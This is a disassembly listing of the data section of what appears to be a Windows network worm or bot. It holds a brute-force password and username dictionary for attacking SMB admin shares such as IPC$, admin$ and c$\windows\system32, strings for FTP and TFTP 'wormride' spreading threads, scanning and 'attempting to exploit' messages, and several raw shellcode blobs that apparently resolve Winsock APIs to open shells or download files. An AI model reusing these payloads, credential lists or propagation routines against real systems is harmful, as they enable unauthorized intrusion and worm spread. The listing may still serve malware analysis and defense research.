		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], bh
		inc	ecx
		add	[eax+eax*8+41h], ch
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-40h], ah
		inc	ecx
		add	[eax-40h], bl
		inc	ecx
		add	[eax-40h], dl
		inc	ecx
		add	[eax-40h], cl
		inc	ecx
		add	al, dh
		rol	byte ptr [ecx+0], 88h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-40h], al
		inc	ecx
		add	[eax], bh
		rol	byte ptr [ecx+0], 30h
		rol	byte ptr [ecx+0], 28h
		rol	byte ptr [ecx+0], 80h
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax+eax*8], bl
		inc	ecx
		add	[eax+eax*8], cl
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[eax+eax*8], al
		inc	ecx
		add	al, bh
		mov	edi, 0BFE80041h
		inc	ecx
		add	[ebx+eax*8+41h], ah
		add	ah, dl
		mov	edi, 0BFD00041h
		inc	ecx
		add	ah, cl
		mov	edi, 0BFC40041h
		inc	ecx
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[eax-5BFFBE41h], dh
		mov	edi, 0C3540041h
		inc	ecx
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-67FFBE41h], ah
		mov	edi, 0BF940041h
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[edi+edi*4-407BFFBFh], cl
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
aWinpass	db 'winpass',0
aBlank		db 'blank',0
		align 4
aXp_0		db 'xp',0
		align 4
aNokia		db 'nokia',0
		align 10h
aHp		db 'hp',0
		align 4
aOrainstall	db 'orainstall',0
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0
		align 4
aDb1234		db 'db1234',0
		align 4
aDb2		db 'db2',0
aDb1		db 'db1',0
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDbpassword	db 'dbpassword',0
		align 4
aDbpass		db 'dbpass',0
		align 4
aDomainpassword	db 'domainpassword',0
		align 4
aDomainpass	db 'domainpass',0
		align 4
aHello		db 'hello',0
		align 10h
aHell		db 'hell',0
		align 4
aLove		db 'love',0
		align 10h
aMoney		db 'money',0
		align 4
aSlut		db 'slut',0
		align 10h
aBitch		db 'bitch',0
		align 4
aFuck		db 'fuck',0
		align 10h
aExchange	db 'exchange',0
		align 4
aLoginpass	db 'loginpass',0
		align 4
aLogin		db 'login',0
		align 10h
aQwe		db 'qwe',0              ; DATA XREF: .data:0041BE4Co
aZxc		db 'zxc',0              ; DATA XREF: .data:0041BE48o
aAsd		db 'asd',0              ; DATA XREF: .data:0041BE44o
aQaz		db 'qaz',0              ; DATA XREF: .data:0041BE40o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0041BE3Co
aWinnt		db 'winnt',0            ; DATA XREF: .data:0041BE38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .data:0041BE34o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0041BE30o
		align 10h
aWin98		db 'win98',0            ; DATA XREF: .data:0041BE2Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0041BE28o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0041BE20o
		align 4
aOem		db 'oem',0              ; DATA XREF: .data:0041BE18o
aAccounting	db 'accounting',0       ; DATA XREF: .data:0041BE08o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0041BE04o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .data:0041BE00o
aSex		db 'sex',0              ; DATA XREF: .data:0041BDFCo
aOutlook	db 'outlook',0          ; DATA XREF: .data:0041BDECo
aMail		db 'mail',0             ; DATA XREF: .data:0041BDE8o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0041BDE4o
		align 4
aTemp123	db 'temp123',0          ; DATA XREF: .data:0041BDE0o
aTemp		db 'temp',0             ; DATA XREF: .data:0041BDDCo
		align 4
aNull		db 'null',0             ; DATA XREF: .data:0041BDD8o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0041BDC8o
aChangeme	db 'changeme',0         ; DATA XREF: .data:0041BDC4o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0041BDB4o
		align 10h
aTest		db 'test',0
		align 4
a2005		db '2005',0
		align 10h
a2004		db '2004',0
		align 4
a2001		db '2001',0
		align 10h
aSecret		db 'secret',0
		align 4
aPayday		db 'payday',0
		align 10h
aDeadline	db 'deadline',0
		align 4
aWork		db 'work',0
		align 4
a1234567890	db '1234567890',0
		align 10h
a123456789	db '123456789',0
		align 4
a12345678	db '12345678',0
		align 4
a1234567	db '1234567',0
a123456		db '123456',0
		align 4
a12345		db '12345',0
		align 10h
a1234		db '1234',0
		align 4
a123		db '123',0
a12		db '12',0
		align 10h
a1:
		unicode	0, <1>,0
a007		db '007',0
aPwd		db 'pwd',0
aPass		db 'pass',0
		align 4
aPass1234	db 'pass1234',0
		align 10h
aDba		db 'dba',0
aPasswd		db 'passwd',0
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0041D790o
		align 4
aPassword1	db 'password1',0
		align 4
aAbc		db 'abc',0
aAb		db 'ab',0
		align 4
aA_0:
		unicode	0, <a>,0
aIpc		db 'IPC$',0             ; DATA XREF: .data:0041BD04o
		align 4
aPrint		db 'print$',0
		align 10h
aCDocumentsAndS	db 'C$\Documents and Settings\All Users\Documents\$',0
aAdmin_0	db 'admin$',0
		align 4
aAdminSystem32	db 'Admin$\system32',0
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: .data:0041BCF0o
aCWinntSystem32	db 'c$\winnt\system32',0
		align 10h
aCWindows	db 'c$\windows',0
		align 4
aCWinnt		db 'c$\winnt',0
		align 4
aEShared	db 'e$\shared',0
		align 4
aDShared	db 'd$\shared',0        ; DATA XREF: .data:0041BCDCo
		align 10h
aCShared	db 'c$\shared',0
		align 4
aE		db 'e$',0
		align 10h
aD		db 'd$',0               ; DATA XREF: .data:0041BCD0o
		align 4
aC		db 'c$',0               ; DATA XREF: .data:0041BCCCo
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0041BCC4o
					; .data:0041BF7Co
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0041BCC0o
					; .data:0041BF78o
aOwner		db 'owner',0
		align 10h
aStudent	db 'student',0          ; DATA XREF: .data:0041BCB8o
					; .data:0041BF70o
aIntranet	db 'intranet',0
		align 4
aLan_0		db 'lan',0
aMain		db 'main',0             ; DATA XREF: .data:00416ACAo
					; .data:00416AECo
		align 10h
aOffice		db 'office',0
		align 4
aControl	db 'control',0
aSiemens	db 'siemens',0
aCompaq		db 'compaq',0
		align 10h
aDell		db 'dell',0
		align 4
aCisco		db 'cisco',0
		align 10h
aIbm		db 'ibm',0
aOracle		db 'oracle',0
		align 4
aSql		db 'sql',0
aSa		db 'sa',0
		align 4
aData		db 'data',0
		align 4
aAccess		db 'access',0
		align 4
aDatabase	db 'database',0
		align 10h
aDomain		db 'domain',0
		align 4
aGod		db 'god',0
aBackup		db 'backup',0
		align 4
aTechnical	db 'technical',0
		align 10h
aMary		db 'mary',0
		align 4
aKatie		db 'katie',0
		align 10h
aKate		db 'kate',0
		align 4
aGeorge		db 'george',0
		align 10h
aEric		db 'eric',0
		align 4
aNone		db 'none',0
		align 10h
aGuest		db 'guest',0
		align 4
aChris		db 'chris',0
		align 10h
aIan		db 'ian',0
aNeil		db 'neil',0
		align 4
aLee		db 'lee',0
aBrian		db 'brian',0
		align 4
aSusan		db 'susan',0
		align 10h
aSue		db 'sue',0              ; DATA XREF: .data:0041BC24o
					; .data:0041BE78o
aSam		db 'sam',0              ; DATA XREF: .data:0041BC20o
					; .data:0041BE74o
aLuke		db 'luke',0             ; DATA XREF: .data:0041BC1Co
					; .data:0041BE70o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: .data:0041BC18o
					; .data:0041BE6Co
		align 4
aJohn		db 'john',0             ; DATA XREF: .data:0041BC14o
					; .data:0041BE68o
		align 10h
aMike		db 'mike',0             ; DATA XREF: .data:0041BC10o
					; .data:0041BE64o
		align 4
aBill		db 'bill',0             ; DATA XREF: .data:0041BC0Co
					; .data:0041BE60o
		align 10h
aFred		db 'fred',0             ; DATA XREF: .data:0041BC08o
					; .data:0041BE5Co
		align 4
aJoe		db 'joe',0              ; DATA XREF: .data:0041BC04o
					; .data:0041BE58o
aJen		db 'jen',0              ; DATA XREF: .data:0041BC00o
					; .data:0041BE54o
aBob		db 'bob',0              ; DATA XREF: .data:0041BBFCo
					; .data:0041BE50o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0041BBF8o
					; .data:0041BE24o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0041BBF4o
					; .data:0041BE1Co
aUser		db 'user',0             ; DATA XREF: .data:0041BBF0o
					; .data:0041BE14o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0041BBECo
					; .data:0041BE10o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0041BBE8o
					; .data:0041BE0Co
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0041BBE4o
					; .data:0041BDF8o
		align 10h
aWww		db 'www',0              ; DATA XREF: .data:0041BBE0o
					; .data:0041BDF4o
aWeb		db 'web',0              ; DATA XREF: .data:0041BBDCo
					; .data:0041BDF0o
aRoot		db 'root',0             ; DATA XREF: .data:0041BBD8o
					; .data:0041BDD4o
		align 10h
aServer_0	db 'server',0           ; DATA XREF: .data:0041BBD4o
					; .data:0041BDD0o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0041BBCCo
					; .data:0041BDC0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:0041BBC8o
					; .data:0041BDBCo
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0041BBC4o
					; .data:0041BDB8o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0041BBC0o
aAdmin		db 'admin',0            ; DATA XREF: .data:0041BBBCo
		align 10h
aAdmins		db 'admins',0           ; DATA XREF: .data:0041BBB8o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0041BBB4o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0041BBB0o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0041BBACo
					; .data:0041BD14o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:0041BBA8o
					; .data:0041BD10o
		align 4
a231		db '231 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B:loc_4119BAo
a221		db '221 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+843o
dword_41C514	dd 135A78h		; DATA XREF: sub_41113B+834r
		align 10h
unk_41C520	db  2Dh	; -		; DATA XREF: sub_41113B+80Do
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TransferToSC	db '- %u. Transfer to %s complete.',0
aFtp_0		db 'ftp',0              ; DATA XREF: sub_41113B+808o
dword_41C54C	dd 157728h		; DATA XREF: sub_41113B+73Er
		dd 2 dup(0)
dword_41C558	dd 20363232h, 0A0D2Dh	; DATA XREF: sub_41113B+6F7o
					; sub_41113B+7AAo
aX32000Fh1024Ja	db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_41113B+6AFo
		db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
		db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
		align 4
a150		db '150 -',0Dh,0Ah,0    ; DATA XREF: sub_41113B+5C7o
					; sub_41113B+751o
dword_41C5DC	dd 146AF8h		; DATA XREF: sub_41113B+5B4r
		dd 2 dup(0)
dword_41C5E8	dd 20333132h, 0A0D7525h, 0 ; DATA XREF:	sub_41113B+56Do
dword_41C5F4	dd 1227B0h		; DATA XREF: sub_41113B+4EDr
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_41113B+427o
		align 4
dword_41C614	dd 0F6578h		; DATA XREF: sub_41113B+3EAr
		align 10h
dword_41C620	dd 20353234h, 0A0D2Dh	; DATA XREF: sub_41113B+3A3o
dword_41C628	dd 0FED08h		; DATA XREF: sub_41113B+394r
		dd 2 dup(0)
dword_41C634	dd 20303032h, 0A0D2Dh	; DATA XREF: sub_41113B+34Do
					; sub_41113B+4A6o
dword_41C63C	dd 128230h		; DATA XREF: sub_41113B+33Er
		dd 2 dup(0)
dword_41C648	dd 20373532h, 20222F22h, 0A0D2Dh ; DATA	XREF: sub_41113B+2F7o
dword_41C654	dd 1F738h		; DATA XREF: sub_41113B+2E8r
		dd 0
dword_41C65C	dd 20313132h, 0A0D2Dh	; DATA XREF: sub_41113B+2A1o
dword_41C664	dd 1232B8h		; DATA XREF: sub_41113B+292r
		align 10h
dword_41C670	dd 20353132h, 0A0D2Dh	; DATA XREF: sub_41113B+24Bo
dword_41C678	dd 124AF8h		; DATA XREF: sub_41113B+23Cr
		dd 2 dup(0)
dword_41C684	dd 20303332h, 0A0D2Dh	; DATA XREF: sub_41113B+1E1o
dword_41C68C	dd 0FECD8h		; DATA XREF: sub_41113B+1C8r
		dd 2 dup(0)
dword_41C698	dd 20313333h, 0A0D2Dh	; DATA XREF: sub_41113B+181o
dword_41C6A0	dd 163AE8h		; DATA XREF: sub_41113B+16Br
		dd 2 dup(0)
dword_41C6AC	dd 0A0D20h		; DATA XREF: sub_41113B+E9o
					; sub_41113B+115o ...
dword_41C6B0	dd 20303232h, 0A0D2Dh	; DATA XREF: sub_41113B+13o
dword_41C6B8	dd 303332h		; DATA XREF: sub_411A09+193o
dword_41C6BC	dd 53534150h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09+11Do
dword_41C6C8	dd 313333h		; DATA XREF: sub_411A09+F9o
dword_41C6CC	dd 52455355h, 0A0D3120h, 0 ; DATA XREF:	sub_411A09:loc_411A8Ao
dword_41C6D8	dd 303232h		; DATA XREF: sub_411A09+63o
unk_41C6DC	db  2Dh	; -		; DATA XREF: sub_411BBC+115o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningFtpWorm	db '- Running FTP wormride thread',0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_411BBC+6Eo
		align 10h
aFtpWormrideThr	db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o
dword_41C724	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411DC5+5E2o
unk_41C730	db  2Dh	; -		; DATA XREF: sub_411DC5+5BDo
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
aU_TftpTransfer	db '- %u. tftp transfer to %s complete.',0
		align 10h
aWormride	db 'wormride',0         ; DATA XREF: sub_411DC5+5B8o
		align 4
dword_41C76C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411DC5+367o
aOctet		db 'octet',0            ; DATA XREF: sub_411DC5+333o
					; sub_411DC5+345o
		align 4
unk_41C788	db  2Dh	; -		; DATA XREF: sub_411DC5+144o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aRunningTftpWor	db '- Running TFTP wormride thread',0
aTftpWormrideTh	db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo
		align 4


loc_41C7C8:				; DATA XREF: sub_4125DF+50o
		jmp	short loc_41C7DF
; ---------------------------------------------------------------------------


loc_41C7CA:				; CODE XREF: .data:loc_41C7DFp
		mov	ecx, 0
		xor	ecx, 0
		pop	esi


loc_41C7D6:				; CODE XREF: .data:0041C7DBj
		xor	byte ptr [ecx+esi-1], 0
		loop	loc_41C7D6
		jmp	short near ptr dword_41C7E4
; ---------------------------------------------------------------------------


loc_41C7DF:				; CODE XREF: .data:loc_41C7C8j
		call	loc_41C7CA
; ---------------------------------------------------------------------------
dword_41C7E4	dd 0			; CODE XREF: .data:0041C7DDj
dword_41C7E8	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+CBo
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
		dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C89C	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+8Co
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
		dd 2685353h, 8B000000h,	6AD88BD4h, 0BA535210h, 0C2A69000h
		dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
		dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
		dd 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41C964	dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
					; DATA XREF: sub_4124A0+36o
		dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h,	338B04C3h
		dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
		dd 5EEBD1D8h, 3245E03h,	0B8B66DFh, 31C5E8Bh, 8B048BDFh
		dd 5B5EC703h, 685EE0FFh, 3233h,	32737768h, 92BA545Fh, 0FF84046Eh
		dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
		dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h,	75222222h
		dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh,	20EC8300h
		dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
		jmp	ebp
; ---------------------------------------------------------------------------
		align 4
dword_41CA18	dd 8B20EC83h, 45D89ECh,	81007D89h, 200ECh, 14658900h, 8B64DB33h
					; DATA XREF: sub_412720+71o
		dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
		dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
		dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
		dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh,	38B048Bh
		dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h,	6E92BA54h
		dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
		dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh,	3 dup(0)
		dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h,	0BA1875FFh
		dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
		dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
		dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh,	0B9BA1C75h
		dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
		dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h,	8BFDE2ABh
		dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h,	0FF2694F1h
		dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h,	0C5935CBAh
		dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
		dd 7315685h, 7D8BD6FFh,	46BABA08h, 0D6FFC10Ch
		db 0
byte_41CB95	db 0E3h			; DATA XREF: sub_4125DF+CFr
					; sub_4125DF+E4w
		align 4
dword_41CB98	dd 4113E68Bh		; DATA XREF: sub_4125DF+60r
					; sub_4125DF+75w
		align 10h
off_41CBA0	dd offset dword_41CC4C	; DATA XREF: sub_4127D0+77r
		dd offset dword_41CC40
		dd 0
		dd offset dword_41CC2C
		dd offset dword_41CC20
		align 8
		or	ah, cl
		inc	ecx
		add	ah, bh
		retf
; ---------------------------------------------------------------------------
		dw 41h
		dd 0
		dd offset dword_41CBE8
		dd offset dword_41CBDC
		dd 4 dup(0)
dword_41CBDC	dd 808FD6DAh, 2	dup(0)	; DATA XREF: .data:0041CBC8o
					; .data:0041DA90o
dword_41CBE8	dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0)	; DATA XREF: .data:0041CBC4o
					; .data:0041DA8Co
		dd 8284D6D3h, 0A9h, 0
		dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0)
dword_41CC20	dd 808ED7D7h, 2	dup(0)	; DATA XREF: .data:0041CBB0o
					; .data:0041DA78o
dword_41CC2C	dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h,	0
					; DATA XREF: .data:0041CBACo
					; .data:0041DA74o
dword_41CC40	dd 8381DED3h, 2	dup(0)	; DATA XREF: .data:0041CBA4o
					; .data:off_41DA6Co
dword_41CC4C	dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0)
					; DATA XREF: .data:off_41CBA0o
					; .data:off_41DA68o
dword_41CC64	dd 72h			; DATA XREF: sub_412A3A:loc_412B93o
dword_41CC68	dd 62h			; DATA XREF: sub_412BC9:loc_412D11o
dword_41CC6C	dd 63h			; DATA XREF: sub_412D56:loc_412DC8o
dword_41CC70	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CCA8	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CCD0	db 86h			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 85h,	0D8h, 0DDh
		dd 0AFh, 2 dup(0)
		dd 0D3000000h, 82D5h, 3	dup(0)
		db 2 dup(0)
dword_41CCF6	dd 9BA848F6h		; DATA XREF: sub_41294E+2Br
					; sub_412FC6+31r ...
dword_41CCFA	dd 0			; DATA XREF: sub_412FC6+57w
					; sub_414052+B5r ...
off_41CCFE	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0)
		dd 82D2D600h, 4	dup(0)
		dd 4DE1462Fh, 0
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CD80	dd 6E695728h, 293233h	; DATA XREF: sub_41308F+217o
dword_41CD88	dd 696E5528h, 2978h	; DATA XREF: sub_41308F+1F1o
dword_41CD90	dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo
aApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 4
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 4
unk_41CDE8	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CE2C	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CE40	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CE78	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CEA4	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CEDC	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CF20	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41CF50	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 10h
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41CFA4	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_414052+BBo
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 4
dword_41CFE8	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D018	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D050	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D080	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D0A0	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
